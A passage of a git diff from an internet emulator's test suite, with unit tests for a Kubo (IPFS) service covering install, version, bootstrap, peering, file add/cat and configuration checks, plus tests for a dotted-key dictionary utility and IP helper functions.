cls.wait_until_all_containers_up(31) + + # Populate the cls.kubo_containers data structure: {group: [container1, container2]} + cls.kubo_containers = { + 'all': set() + } + for ct in cls.containers: + # If this is any sort of Kubo container, add it to the "all" group: + if cls.isKubo(ct): + if 'all' not in cls.kubo_containers: cls.kubo_containers['all'] = set() + cls.kubo_containers['all'].add(ct) + # If this is a boot node, add it to that group: + if cls.isBoot(ct): + if 'boot' not in cls.kubo_containers: cls.kubo_containers['boot'] = set() + cls.kubo_containers['boot'].add(ct) + # If this is in another group, add it to that group: + for g in cls.getTestGroups(ct): + if g not in cls.kubo_containers: cls.kubo_containers[g] = set() + cls.kubo_containers[g].add(ct) + + # Just create a test file on few random nodes: + numFiles:int = 3 + # cls.kubo_file_host_containers = {} # {container: {'cid': cid, 'contents': file_contents}} + cls.kubo_test_files = {} # {container_short_id : {'cid': cid, 'contents': file_contents}} + cts = random.sample(cls.getTestContainers(group='basic'), numFiles) + for i in range(numFiles): + ct = cts[i] + file_contents = f'Test File {i}\n{cls.fake.sentence()}' + exit_code, output = cls.ctCmd(ct, f"""bash -c 'echo "{file_contents}" > test.txt'""", workdir=cls.kubo_tmp_dir) + if exit_code != 0: + cls.printLog(f'Failed to add test file ({exit_code}): {output.decode()}') + else: + cls.addTestGroup(ct, 'file_host') + cls.kubo_test_files[ct.short_id] = {'contents': file_contents} + + # Display test container groups: + containersGroups = {cls.getCtName(ct) : cls.getTestGroups(ct) for ct in cls.getTestContainers()} + cls.printLog(f'{" Test Containers: ":-^100}') + for ctName, ctGroups in containersGroups.items(): + cls.printLog(f'{ctName}: {", ".join(ctGroups)}') + return + + @classmethod + def tearDownClass(cls) -> None: + # Retrieve bootstrapping log files from each node before teardown: + for ct in cls.getTestContainers(): + try: + cls.pullKuboLogs(ct) + except Exception as e: + cls.printLog(f'KuboTestCase::tearDownClass FAILED\n\t{e}') + cls.printLog(f"\t{cls.ctCmd(ct, f'ls {cls.kubo_log_dir}')[1].decode()}") + + super().tearDownClass() + + + def test_kubo_install(self): + self.printLog(f'{" Test Case: test_kubo_install ":=^100}') + for ct in self.getTestContainers(): + with self.subTest(container=self.getCtName(ct)): + exit_code, _ = self.ctCmd(ct, "ipfs") + self.assertEqual(exit_code, 0, 'Could not run the IPFS binary') + self.printLog(f'{self.getCtName(ct)} [PASS]') + + + def test_kubo_version(self): + self.printLog(f'{" Test Case: test_kubo_version ":=^100}') + + for ct in self.getTestContainers(): + with self.subTest(container=self.getCtName(ct)): + exit_code, output = self.ctCmd(ct, 'ipfs version') + self.assertEqual(exit_code, 0) + # Get version strings from container label (on build) and from runtime: + kuboVersion = re.search('(?:\d{1,3}\.){2}(?:\d{1,3})', output.decode()) + intendedVersion = re.search('(?:\d{1,3}\.){2}(?:\d{1,3})', self.getCtKuboLabel(ct, 'version')) + # Check that versions match: + self.assertIsNotNone(kuboVersion) + self.assertIsNotNone(intendedVersion) + kuboVersion = kuboVersion.group(0) + intendedVersion = intendedVersion.group(0) + self.assertEqual(kuboVersion, intendedVersion) + self.printLog(f'{self.getCtName(ct)}: {kuboVersion} [PASS]') + + + def test_bootstrap_script(self): + self.printLog(f'{" Test Case: test_bootstrap_script ":=^100}') + for ct in self.getTestContainers(): + with self.subTest(container=self.getCtName(ct)): + self.printLog(f'{self.getCtName(ct)}:') + # Make sure bootstrap script is present: + exit_code, _ = self.ctCmd(ct, f'cat {self.kubo_tmp_dir}bootstrap.sh') + self.assertEqual(exit_code, 0) + self.printLog('\tScript Present [PASS]') + + # Make sure bootstrap script has run: + exit_code, output = self.ctCmd(ct, f'cat {self.kubo_log_dir}kubo_bootstrap.log') + self.assertEqual(exit_code, 0) + self.assertGreater(len(output.decode()), 0) + self.printLog('\tScript Run [PASS]') + + + def test_bootstrap_list(self): + self.printLog(f'{" Test Case: test_bootstrap_list ":=^100}') + for ct in self.getTestContainers(group='basic'): + with self.subTest(container=self.getCtName(ct)): + self.printLog(f'{self.getCtName(ct)}:') + exit_code, output = self.ctCmd(ct, "ipfs bootstrap list") + # Check overall command output: + self.assertEqual(exit_code, 0) + bootstrap_list = output.decode().splitlines() + self.assertEqual(len(self.getTestContainers(group='boot')), len(bootstrap_list)) + # Evaluate indvidual entries: + for b in bootstrap_list: + self.printLog(f'\t{b}') + self.assertRegexpMatches(b, f'/ip4/{self.regexPatterns["ipv4"]}/tcp/{self.regexPatterns["port"]}/p2p/.*') + + + def test_service_config(self): + self.printLog(f'{" Test Case: test_service_config ":=^100}') + + for ct in self.getTestContainers(group='basic'): + with self.subTest(container=self.getCtName(ct)): + self.printLog(f'{self.getCtName(ct)}:') + + # Confirm RPC API address bound to all interfaces: + exit_code, output = self.ctCmd(ct, 'ipfs config Addresses.API') + self.assertEqual(exit_code, 0) + self.assertEqual(output.decode().strip(), '/ip4/0.0.0.0/tcp/5001') + self.printLog('\t[PASS] RPC API') + + # Confirm HTTP Gateway address bound to all interfaces: + exit_code, output = self.ctCmd(ct, 'ipfs config Addresses.Gateway') + self.assertEqual(exit_code, 0) + self.assertEqual(output.decode().strip(), '/ip4/0.0.0.0/tcp/8080') + self.printLog('\t[PASS] HTTP Gateway') + + def test_peering(self): + self.printLog(f'{" Test Case: test_peering ":=^100}') + + for ct in self.getTestContainers(group='basic'): + with self.subTest(container=self.getCtName(ct)): + # Attempt to fetch peers multiple times to allow peering relationships to form: + peers = [] + attempts = 6 # Wait max of 30s per node. + while (attempts > 0) and (len(peers) < len(self.getTestContainers(group='basic'))): + exit_code, output = self.ctCmd(ct, "ipfs swarm peers") + if exit_code == 0: + peers = output.decode().splitlines() + attempts -= 1 + # Only wait if we would still fail the test: + if len(peers) < len(self.getTestContainers(group='basic')): + sleep(3) + + # Print results to logs: + self.printLog(f'{self.getCtName(ct)} ({len(peers)}):') + # Print peers to logs: + for p in peers: + self.printLog(f'\t{p}') + + self.assertGreaterEqual(len(peers), len(self.getTestContainers(group='basic')) - 1) + + + def test_kubo_add(self): + self.printLog(f'{" Test Case: test_kubo_add ":=^100}') + + # Each of these containers has a file test.txt in the Kubo temp directory (KuboTestCase::SetUpClass): + for ct in self.getTestContainers(group='file_host'): + with self.subTest(container=self.getCtName(ct)): + self.printLog(f'{self.getCtName(ct)}: ', end='') + + exit_code, output = self.ctCmd(ct, 'ipfs add test.txt', workdir=self.kubo_tmp_dir) + self.assertEqual(exit_code, 0, f'Command failed with output: {output}') + + # Get CID from output of the ips add command: + cid = re.search('added ([a-zA-Z0-9]+) \S+', output.decode().strip()) + + # Process CID further if it was found in the IPFS output: + self.assertIsNotNone(cid) + cid = cid.group(1) + self.kubo_test_files[ct.short_id]['cid'] = cid + self.printLog(f'[PASS] Added file with CID of {cid}') + + + def test_kubo_cat(self): + self.printLog(f'{" Test Case: test_kubo_cat ":=^100}') + + # Make sure that each Kubo node can access each file added: + for ct in self.getTestContainers(group='basic'): + with self.subTest(container=self.getCtName(ct), file_host='file_host' in self.getTestGroups(ct)): + self.printLog(f'{self.getCtName(ct)}:') + exit_code, _ = self.ctCmd(ct, 'ipfs id') + if exit_code != 0: sleep(10) + + # Check that node can access file through IPFS (skip if this node originates the data): + for ct_id, file_info in self.kubo_test_files.items(): + if ct_id != ct.short_id: + exit_code, output = self.ctCmd(ct,['ipfs', 'cat', file_info['cid']], demux=True) + self.assertIsNotNone(output, f'Command not executed successfully on container. {output}') + self.assertIsNotNone(exit_code, f'Command not executed successfully on container. {output}') + self.assertEqual(exit_code, 0, f'Command not executed successfully on container. {output[0]} {output[1]}') + self.assertEqual(output[0].decode().strip(), file_info["contents"], 'Unexpected test file contents.') + self.printLog(f'\tipfs cat {file_info["cid"]} [PASS]') + else: + self.printLog(f'\tipfs cat {file_info["cid"]} [SKIP] *') + + + def test_specify_profile(self): + self.printLog(f'{" Test Case: test_specify_profile ":=^100}') + + # Find the container with profile testing flag: + for ct in self.getTestContainers(group='profile'): + with self.subTest(container=self.getCtName(ct)): + with open(os.path.join(self.init_dir, self.test_log, 'config.json'), 'w') as f: + exit_code, output = self.ctCmd(ct, 'cat config', workdir='/root/.ipfs') + self.assertEqual(exit_code, 0) + config = json.loads(output) + # Check against changes this profile applies to the config: + self.assertIn('Type', config.get('Swarm').get('ConnMgr')) + self.assertEqual(config.get('Reprovider').get('Interval'), '0s') + self.assertEqual(config.get('AutoNAT').get('ServiceMode'), 'disabled') + self.printLog(f'{self.getCtName(ct)}: [PASS]') + + + def test_replace_config(self): + self.printLog(f'{" Test Case: test_replace_config ":=^100}') + + for ct in self.getTestContainers(group='replace_config'): + with self.subTest(container=self.getCtName(ct)): + # Get actual config from the container: + exit_code, output = self.ctCmd(ct, 'cat config', workdir='/root/.ipfs') + self.assertEqual(exit_code, 0) + ct_config = json.loads(output) + + # Get the test config from a file: + with open(os.path.join(self.emulator_code_dir, 'sample-config.json'), 'r') as f: + test_config = json.loads(f.read()) + + # Ensure that actual and test config are the same: + self.assertEqual(ct_config, test_config) + + self.printLog(f'{self.getCtName(ct)}: [PASS]') + + def test_import_config(self): + self.printLog(f'{" Test Case: test_import_config ":=^100}') + + for ct in self.getTestContainers(group='import_config'): + with self.subTest(container=self.getCtName(ct)): + # Get actual config from the container: + exit_code, output = self.ctCmd(ct, 'ipfs config API.HTTPHeaders.Access-Control-Allow-Origin') + self.assertEqual(exit_code, 0) + ct_config = json.loads(output) + test_config = ["*"] + + # Ensure that actual and test config are the same: + self.assertEqual(ct_config, test_config) + + self.printLog(f'{self.getCtName(ct)}: [PASS]') + + def test_set_config(self): + self.printLog(f'{" Test Case: test_set_config ":=^100}') + + # Test cases (key, value) pairs: + cases = [ + ('API.HTTPHeaders.Access-Control-Allow-Origin', ["*"]), + ('Gateway.ExposeRoutingAPI', True), + ('Gateway.RootRedirect', 'ThisIsOnlyATest') + ] + + for ct in self.getTestContainers(group='set_config'): + with self.subTest(container=self.getCtName(ct)): + for configKey, expectedVal in cases: + # Get actual config from the container: + exit_code, output = self.ctCmd(ct, f'ipfs config {configKey}') + self.assertEqual(exit_code, 0, f'Failed with output: {output}') + try: + ct_config = json.loads(output) + except: + ct_config = output.decode().strip() + + # Ensure that actual and test config are the same: + self.assertEqual(ct_config, expectedVal, f'Failed test case {configKey}') + + self.printLog(f'{self.getCtName(ct)}: [PASS]') + + + @classmethod + def get_test_suite(cls): + test_suite = ut.TestSuite() + test_suite.addTest(cls('test_kubo_install')) + test_suite.addTest(cls('test_kubo_version')) + test_suite.addTest(cls('test_bootstrap_script')) + test_suite.addTest(cls('test_bootstrap_list')) + test_suite.addTest(cls('test_service_config')) + test_suite.addTest(cls('test_peering')) + test_suite.addTest(cls('test_kubo_add')) + test_suite.addTest(cls('test_kubo_cat')) + test_suite.addTest(cls('test_specify_profile')) + test_suite.addTest(cls('test_replace_config')) + test_suite.addTest(cls('test_import_config')) + test_suite.addTest(cls('test_set_config')) + return test_suite + + +if __name__ == "__main__": + test_suite = KuboTestCase.get_test_suite() + res = ut.TextTestRunner(verbosity=2).run(test_suite) + + KuboTestCase.printLog(f'{" Test Results ":=^100}') + num, errs, fails = res.testsRun, len(res.errors), len(res.failures) + KuboTestCase.printLog("score: %d of %d (%d errors, %d failures)" % (num - (errs+fails), num, errs, fails)) diff --git a/tests/kubo/KuboUtilsTestCase.py b/tests/kubo/KuboUtilsTestCase.py index ab3aba9ce..4e7c9b139 100755 --- a/tests/kubo/KuboUtilsTestCase.py +++ b/tests/kubo/KuboUtilsTestCase.py @@ -1,523 +1,523 @@ -#!/usr/bin/env python3 -# encoding: utf-8 - -import unittest as ut -from seedemu.services.KuboService.KuboUtils import * -from seedemu import * -from tests import SeedEmuTestCase -from faker import Faker -from faker.providers import internet -from time import time - -class DottedDictTestCase(SeedEmuTestCase): - """Test cases that evaluate KuboUtils::DottedDict. - """ - @classmethod - def setUpClass(cls) -> None: - super().setUpClass(testLogOverwrite=False, online=False) - - # Initialize some class variables: - cls.simpleDict = {'a': 1, 'b': 2, 'c': 3, 'd': 4, 'red': True, 'blue': 50} - cls.nestedDict = { - 'a': {'b': 2}, - 'test': {'1': 2}, - 'c': 3, - 'blue': 'red' - } - cls.nestedDictDeep = { - 'a': { - 'b': 2, - 'c': { - 'red': False, - 'orange': True, - 'yellow': False, - 'green': True, - 'blue': True, - 'purple': True, - 'pink': True - }, - 'deepest': { - 'level1': { - 'level2': { - 'level3': { - 'level4': { - 'level5': 'done' - } - } - } - } - } - }, - 'simple': True, - ' ': False, - ',': { - '!': '#' - } - } - - return - - @classmethod - def tearDownClass(cls) -> None: - return super().tearDownClass() - - def test_init_empty(self): - self.printLog(f'{" Test Case: test_init_empty ":=^100}') - - # Create a test case for initializing with nothing: - dd = DottedDict() - self.assertIsInstance(dd, DottedDict, 'Not a DottedDict') - self.assertTrue(dd.empty(), 'DottedDict returns not empty') - self.printLog(f'{"DottedDict()":<30}[PASS]') - - # Create a test case for initializing with multiple empty data types: - cases = [[], {}, set(), tuple()] - for case in cases: - with self.subTest(case=type(case)): - dd = DottedDict(case) - self.assertIsInstance(dd, DottedDict, 'Not a DottedDict') - self.assertTrue(dd.empty(), 'DottedDict returns not empty') - self.printLog(f'{f"DottedDict({case})":<30}[PASS]') - - - def test_init_good(self): - self.printLog(f'{" Test Case: test_init_good ":=^100}') - - # Create a test case for multiple data types that should succeed: - cases = [ - [('a', 1), ('b', 2), (5, 'ff'), (55.7, True)], - [('a', 1), ('b', [('c', [('d', 4), ('e', 5)])]), ('f', 6)], - (('a', 1), ('b', 2), (5, 'ff'), (55.7, True)), - (('a', 1), ('b', ('c', (('d', 4), ('e', 5)))), ('f', 6)), - {('a', 1), ('b', 2), (5, 'ff'), (55.7, True)}, - {'a': 1, 'b': 2, 5: 'ff', 55.7: True}, - {'a': 1, 'b': {'c': {'d': 4, 'e': 5}}, 'f': 6} - ] - for test in cases: - with self.subTest(case=test, type=type(test)): - dd = DottedDict(test) - self.assertIsInstance(dd, DottedDict, 'Instance is not a DottedDict') - self.assertEqual(dd, dict(test), 'DottedDict did not produce expected data structure') - self.assertDictEqual(dd, dict(test), 'DottedDict did not produce expected data structure') - self.printLog(f'{f"DottedDict({test})":<75}[PASS]') - - - def test_init_bad(self): - self.printLog(f'{" Test Case: test_init_bad ":=^100}') - # Create a test case for multiple data types and constructions that should fail: - cases = [ - True, False, 1, 346.72, 55555, - [0, 1, 2, 3, 4, 5, 6, 7, 8, 9], - range(10), - {0, 1, 2, 3, 4, 5, 6, 7, 8, 9}, - (0, 1, 2, 3, 4, 5, 6, 7, 8, 9), - [(1, 'a'), 2, 3], - (1, (2, 'b'), 3, 4, 5), - [{'a': 1}, True] - ] - for test in cases: - with self.subTest(case=test, type=type(test)): - try: - dd = DottedDict(test) - except Exception as ddErr: - # self.assertIsInstance(dd, DottedDict, 'Instance is not a DottedDict') - try: - d = dict(test) - except Exception as dErr: - self.assertEqual(type(ddErr), type(dErr), 'DottedDict should raise same exception type as dict.') - else: - self.printLog(f'Case: {test} {type(test)}\n{dd}') - self.fail('dict init was successful but DottedDict was not') - else: - # Initialization was successful; does that work for dict: - self.printLog(f'Case: {test} {type(test)}\n{dd}') - self.assertDictEqual(dd, dict(test), 'DottedDict was successful but dict was not') - self.printLog(f'{f"DottedDict({test})":<50}[PASS]') - - - def test_get_item_expected(self): - self.printLog(f'{" Test Case: test_get_item_expected ":=^100}') - # Create test cases for multiple different values to get: - cases = [('simple', True), ('a.b', 2), - ('a.c', DottedDict({'red': False, 'orange': True, 'yellow': False, 'green': True, 'blue': True, 'purple': True, 'pink': True})), - ('a.c.red', False), ('a.c.orange', True), ('a.c.blue', True), - ('a.deepest', DottedDict({'level1': {'level2': {'level3': {'level4': {'level5': 'done'}}}}})), - ('a.deepest.level1.level2.level3.level4.level5', 'done'), - ('simple', True), - (' ', False), - (',', DottedDict({'!': '#'})), - (',.!', '#') - ] - # Test cases: - dd = DottedDict(self.nestedDictDeep.copy()) - for testKey, expectedVal in cases: - with self.subTest(case=testKey): - self.assertEqual(dd[testKey], expectedVal, 'DottedDict::getitem did not get expected value.') - self.printLog(f'{f"DottedDict[{testKey}] = {dd[testKey]}":<90}[PASS]') - - - - def test_get_item_unexpected(self): - self.printLog(f'{" Test Case: test_get_item_unexpected ":=^100}') - # Create test cases for multiple different values to get: - cases = ['', '.', '\t', '.a', 'a.', 'a.b.', 'a.b.c', 'a.c.c', 'a.c.red.orange', 'a.c.orange.', - 'a.c.blue.deepest', 'a..deepest', '..a.deepest.level1.level2.level3.level4.level5..', 'simple..' - ] - # Test cases: - dd = DottedDict(self.nestedDictDeep.copy()) - for testKey in cases: - with self.subTest(case=testKey): - with self.assertRaises(KeyError, msg='Invalid key on getitem did not raise KeyError.'): - dd[testKey] - self.assertDictEqual(dd, self.nestedDictDeep, 'DottedDict changed on getitem operation.') - self.printLog(f'{f"DottedDict[{testKey}] -> KeyError":<75}[PASS]') - - - def test_set_item_expected(self): - self.printLog(f'{" Test Case: test_set_item_expected ":=^100}') - # Create test cases for multiple different values to get: - cases = [('simple', False), ('a.b', 4), - ('a.c', DottedDict({'level1': 1, 'level2': {'diff': 4, 'bbb': False}})), - ('a.c.red', 6), ('a.c.orange', 'apple'), ('a.c.blue', 36.788), - ('a.deepest.level1.level2.level3.level4.level5', 'ready'), - ('a.deepest', DottedDict({'apple': {'bicycle': {'car': {'dream': {'engine': 'huh', 'fog': 'yes', 'golf': 'ball'}}}}})), - ('simple', False), - (' ', True), - (',.!', '#'), - (',', ['!', '#']), - ] - # Test cases: - for testKey, expectedVal in cases: - with self.subTest(case=testKey): - dd = DottedDict(self.nestedDictDeep.copy()) - dd[testKey] = expectedVal - self.assertEqual(dd[testKey], expectedVal, 'Getting set item should match expected value.') - self.printLog(f'{f"DottedDict[{testKey}] = {dd[testKey]}":<120}[PASS]') - - # Extra test case: - dd = DottedDict(self.nestedDictDeep) - dd['a.deepest.level1.newLeaf'] = True - self.assertEqual(dd['a.deepest.level1.level2.level3.level4.level5'], 'done') - self.assertEqual(dd['a.deepest.level1.newLeaf'], True) - - - def test_set_item_unexpected(self): - self.printLog(f'{" Test Case: test_set_item_unexpected ":=^100}') - # Create test cases for multiple different values to get: - cases = ['', '.', '.a', 'a.', 'a.b.', 'a..b..c', 'a.c.orange.', - 'a..deepest', '..a.deepest.level1.level2.level3.level4.level5..', 'simple..' - ] - # Test cases: - dd = DottedDict(self.nestedDictDeep) - for testKey in cases: - with self.subTest(case=testKey): - with self.assertRaises(KeyError, msg='Should raise KeyError for invalid key on set item.'): - dd[testKey] = 'test 1 2 3' - self.printLog(f'{f"DottedDict[{testKey}] -> KeyError":<75}[PASS]') - - - def test_del_item_expected(self): - self.printLog(f'{" Test Case: test_del_item_expected ":=^100}') - # Create test cases for multiple different values to get: - cases = [ - 'simple', 'a.b', 'a.c', 'a.c.red', 'a.c.orange', 'a.c.blue', - 'a.deepest', 'a.deepest.level1.level2.level3.level4.level5', - 'simple', ' ', ',', ',.!' - ] - # Test cases: - for testKey in cases: - with self.subTest(case=testKey): - dd = DottedDict(self.nestedDictDeep.copy()) - # Trigger __delitem__: - del dd[testKey] - # Should no longer be in DottedDict: - self.assertNotIn(testKey, dd, 'Deleted item should no longer be in DottedDict.') - # Should now raise KeyError on get: - with self.assertRaises(KeyError, msg='Getting deleted item from DottedDict should raise KeyError.'): - dd[testKey] - self.printLog(f'{f"del DottedDict[{testKey}]":<75}[PASS]') - - - def test_del_item_unexpected(self): - self.printLog(f'{" Test Case: test_del_item_unexpected ":=^100}') - # Create test cases for multiple different values to get: - cases = [ - 'simpl', '.a.b', 'a..c', 'a..c..red', '..a.c.orange', 'a.c.blue.', - 'a.deepest...', 'a.deepest.level2.level2.level3.level4.level5', - 'simple.', '', ',.', ',.!.' - ] - # Test cases: - for testKey in cases: - with self.subTest(case=testKey): - dd = DottedDict(self.nestedDictDeep.copy()) - # Trigger __delitem__: - with self.assertRaises(KeyError, msg='Invalid key should raise key error.'): - del dd[testKey] - # Should now raise KeyError on get: - with self.assertRaises(KeyError, msg='Accessing a deleted value should now raise KeyError.'): - dd[testKey] - self.printLog(f'{f"del DottedDict[{testKey}]":<75}[PASS]') - - - def test_contains_expected(self): - self.printLog(f'{" Test Case: test_contains_expected ":=^100}') - # Create test cases for valid keys: - cases = [ - 'simple', 'a.b', 'a.c', 'a.c.red', 'a.c.orange', 'a.c.blue', - 'a.deepest', 'a.deepest.level1.level2.level3.level4.level5', - 'simple', ' ', ',', ',.!' - ] - # Test cases: - for testKey in cases: - with self.subTest(case=testKey): - dd = DottedDict(self.nestedDictDeep.copy()) - # Should no longer be in DottedDict: - self.assertIn(testKey, dd, 'Key exists but contains returns False.') - self.printLog(f'{f"del DottedDict[{testKey}]":<75}[PASS]') - - - def test_contains_unexpected(self): - self.printLog(f'{" Test Case: test_contains_unexpected ":=^100}') - # Create test cases for nonexistent keys: - cases = [ - 'simplest', 'a.b.c', 'b.a.c', 'a.cat.red', 'a.c.cyan', 'simple.c.blue', - 'deepest', 'a.deepest.level1.level2.level5.level4.level5', - 'simple.1', 'a. ', 'b.,', ',.!.%' - ] - # Test cases: - for testKey in cases: - with self.subTest(case=testKey, group='nonexistent'): - dd = DottedDict(self.nestedDictDeep.copy()) - self.assertNotIn(testKey, dd, 'Key does not exist but "in" returned True.') - self.printLog(f'{f"{testKey} in DottedDict -> False":<75}[PASS]') - - # Create test cases for invalid keys: - cases = [ - '', '.', '.a', 'a.', 'a.b.', 'a.c.orange.', 'a..deepest', - '..a.deepest.level1.level2.level3.level4.level5..', 'simple..' - ] - # Test cases: - for testKey in cases: - with self.subTest(case=testKey, group='invalid'): - dd = DottedDict(self.nestedDictDeep.copy()) - with self.assertRaises(KeyError, msg='Key is invalid but did not raise an error.'): - testKey in dd - self.printLog(f'{f"{testKey} in DottedDict -> KeyError":<75}[PASS]') - - - def test_copy(self): - self.printLog(f'{" Test Case: test_copy ":=^100}') - # Create original and copy: - dOg = DottedDict(self.simpleDict) - dCp = dOg.copy() - self.printLog('Testing copy operation... ', end='') - self.assertIsInstance(dCp, DottedDict, 'Copy should also be a DottedDict, but is not.') - self.assertDictEqual(dOg, dCp, 'Copied DottedDict is not equal to original.') - self.assertNotEqual(id(dOg), id(dCp), 'Copy should be new instance in memory but is not.') - self.printLog('[PASS]') - # Changing copy should not affect original - self.printLog('Testing modification of copy... ', end='') - dCp['test'] = [1, 2, 3] - self.assertNotEqual(dOg, dCp, 'Original should not equal modified DottedDict.') - self.assertNotIn('test', dOg, 'New key should not exist in original DottedDict.') - self.printLog('[PASS]') - - - def test_merge(self): - self.printLog(f'{" Test Case: test_merge ":=^100}') - # Create test cases; dictionaries to transform and try merging: - cases = [ - ({chr(n) : n for n in range(97,123)}, {'test': True, 'deep': {'level1': {'level2': 'done'}, 'end': False}}), - ({'test': True, 'deep': {'level1': {'level2': 'done'}, 'end': False}}, {'deep': {'level1': {'leaf': True}}}), - ({chr(n) : n for n in range(97,123)}, {chr(n) : n for n in range(97,123)}), - ({chr(n) : n for n in range(97,123)}, {'new': True}), - ({'test': True, 'deep': {'level1': {'level2': 'done'}, 'end': False}}, {'deep': {'level1': {'level2': 'merged'}, 'end': 'merged'}}) - ] - # Test cases: - for dictDest, dictSrc in cases: - with self.subTest(src=dictSrc, dst=dictDest): - dd = DottedDict(dictDest) - dd.merge(dictSrc) - d = dict(dictDest) - mergeNestedDicts(d, dictSrc) - self.assertDictEqual(dd, d, 'Merged dictionary is not equal to merged DottedDicts.') - self.printLog(f'[PASS] {f"{dd} = {d}":>90}') - - - def test_empty(self): - self.printLog(f'{" Test Case: test_empty ":=^100}') - # Create test cases for multiple different values to get: - validCases = [ - None, (), {}, set(), dict(), [] - ] - # Test cases on valid empty constructor: - for test in validCases: - with self.subTest(case=test, group='valid'): - dd = DottedDict(test) - self.assertTrue(dd.empty()) - self.printLog(f'{f"DottedDict({test})":<50}[PASS]') - - # Test cases on invalid constructor, leaving instance empty: - invalidCases = [ - [0, 1, 2, 3, 4, 5, 6, 7, 8, 9], - range(10), - {0, 1, 2, 3, 4, 5, 6, 7, 8, 9}, - (0, 1, 2, 3, 4, 5) - ] - for test in invalidCases: - with self.subTest(case=test, group='invalid'): - with self.assertRaises(Exception, msg='Invalid init source did not raise an exception.'): - dd = DottedDict(test) - self.assertTrue(dd.empty()) - self.printLog(f'{f"DottedDict({test})":<50}[PASS]') - - # Test case on DottedDict that becomes empty: - dd = DottedDict({'a': 1, 'b': 2, 'c': {'d': 4}}) - while len(dd) > 0: dd.popitem() - self.assertTrue(dd.empty(), 'DottedDict should be empty.') - self.printLog(f'{"DottedDict::popitem":<50}[PASS]') - - dd = DottedDict(self.simpleDict) - dd.clear() - self.assertTrue(dd.empty(), 'DottedDict::clear should empty the data structure.') - self.printLog(f'{f"DottedDict::clear":<50}[PASS]') - - def test_dottedItems(self): - self.printLog(f'{" Test Case: test_dottedItems ":=^100}') - cases = [ - (self.simpleDict, [('a', 1), ('b', 2), ('c', 3), ('d', 4), ('red', True), ('blue', 50)]), - (self.nestedDict, [('a.b', 2), ('test.1', 2), ('c', 3), ('blue', 'red')]), - (self.nestedDictDeep, [('a.b', 2), ('a.c.red', False), ('a.c.orange', True), ('a.c.yellow', False), ('a.c.green', True), ('a.c.blue', True), ('a.c.purple', True), ('a.c.pink', True), ('a.deepest.level1.level2.level3.level4.level5', 'done'), ('simple', True), (' ', False), (',.!', '#')]), - ] - - for test in cases: - with self.subTest(case=cases.index(test)): - dd = DottedDict(test[0]) - self.assertListEqual(dd.dottedItems(), test[1]) - self.printLog(f'{f"DottedDict::dottedItems() #{cases.index(test)}":<50}[PASS]') - - - @classmethod - def get_test_suite(cls): - test_suite = ut.TestSuite() - test_suite.addTest(cls('test_init_empty')) - test_suite.addTest(cls('test_init_good')) - test_suite.addTest(cls('test_init_bad')) - test_suite.addTest(cls('test_get_item_expected')) - test_suite.addTest(cls('test_get_item_unexpected')) - test_suite.addTest(cls('test_set_item_expected')) - test_suite.addTest(cls('test_set_item_unexpected')) - test_suite.addTest(cls('test_del_item_expected')) - test_suite.addTest(cls('test_del_item_unexpected')) - test_suite.addTest(cls('test_contains_expected')) - test_suite.addTest(cls('test_contains_unexpected')) - test_suite.addTest(cls('test_copy')) - test_suite.addTest(cls('test_merge')) - test_suite.addTest(cls('test_empty')) - test_suite.addTest(cls('test_dottedItems')) - return test_suite - -class KuboUtilFuncsTestCase(SeedEmuTestCase): - @classmethod - def setUpClass(cls) -> None: - super().setUpClass(testLogOverwrite=False, online=False) - - # Set up some class variables to use later: - Faker.seed(time()) - cls.fake = Faker() - cls.fake.add_provider(internet) - - - @classmethod - def tearDownClass(cls) -> None: - return super().tearDownClass() - - - def test_getIP(self): - self.printLog(f'{" Test Case: test_getIP ":=^100}') - - # Create an environment in the emulator: - numHosts = 2 - emu = Makers.makeEmulatorBaseWith5StubASAndHosts(numHosts) - emu.render() - # Get IPs for nodes in each AS: - for asn in range(150, 155): - self.printLog(f'Testing nodes in AS {asn}:') - curAS = emu.getLayer('Base').getAutonomousSystem(asn) - # Get IP for each host in the current AS: - for host in curAS.getHosts(): - node = curAS.getHost(host) - ip = getIP(node) - with self.subTest(device=host, ip=str(ip), type='host'): - self.assertIsNotNone(ip, 'No IP found.') - self.printLog(f'\t{host} -> {ip} [PASS]') - # Get an IP for each router in the current AS: - # Note: this function is meant to be used on hosts with a single NIC; - # performing on a router will only get one NIC's IP. - for router in curAS.getRouters(): - node = curAS.getRouter(router) - ip = getIP(node) - with self.subTest(device=router, ip=str(ip), type='router'): - self.assertIsNotNone(ip, 'No IP found.') - self.printLog(f'\t{router} -> {ip} [PASS]') - - - def test_isIPv4(self): - self.printLog(f'{" Test Case: test_isIPv4 ":=^100}') - - # Test with randomly-generated valid IPs: - numTests = 10 - for i in range(numTests): - ip = self.fake.ipv4() - with self.subTest(ip=ip, group='valid'): - self.assertTrue(isIPv4(ip)) - self.printLog(f'[PASS] isIPv4({ip}) -> True') - - # Test with invalid IPs: - invalidIPs = [ - '255.255.255.256', '300.1.1.1', '55.288.155.0', '0.0.888.1', - '55.55.55', '55.55', '55', '1.1.1.1.1' - ] - for ip in invalidIPs: - with self.subTest(ip=ip, group='invalid'): - self.assertFalse(isIPv4(ip)) - self.printLog(f'[PASS] isIPv4({ip}) -> False') - - - @classmethod - def get_test_suite(cls): - test_suite = ut.TestSuite() - test_suite.addTest(cls('test_getIP')) - test_suite.addTest(cls('test_isIPv4')) - return test_suite - - -def mergeNestedDicts(dest:Mapping, src:Mapping): - """Merge nested dictionaries. - - Parameters - ---------- - dest : Mapping - The dict-like object into which data will be merged. - src : Mapping - The dict-like object from which data will be merged (will not be altered). - """ - for key, value in src.items(): - # If item being copied already exists and both values are dict-like, merge those: - if key in dest and isinstance(value, Mapping) and isinstance(dest[key], Mapping): - mergeNestedDicts(dest[key], value) - # In any other case, just take the value from the source dict: - else: - dest[key] = value - -if __name__ == '__main__': - test_suite = ut.TestSuite() - test_suite.addTests(DottedDictTestCase.get_test_suite()) - test_suite.addTests(KuboUtilFuncsTestCase.get_test_suite()) - res = ut.TextTestRunner(verbosity=2).run(test_suite) - - # Insert summary line in output for each: - for testCase in [DottedDictTestCase, KuboUtilFuncsTestCase]: - testCase.printLog(f'{" Test Results ":=^100}') - num, errs, fails = res.testsRun, len(res.errors), len(res.failures) +#!/usr/bin/env python3 +# encoding: utf-8 + +import unittest as ut +from seedemu.services.KuboService.KuboUtils import * +from seedemu import * +from tests import SeedEmuTestCase +from faker import Faker +from faker.providers import internet +from time import time + +class DottedDictTestCase(SeedEmuTestCase): + """Test cases that evaluate KuboUtils::DottedDict. + """ + @classmethod + def setUpClass(cls) -> None: + super().setUpClass(testLogOverwrite=False, online=False) + + # Initialize some class variables: + cls.simpleDict = {'a': 1, 'b': 2, 'c': 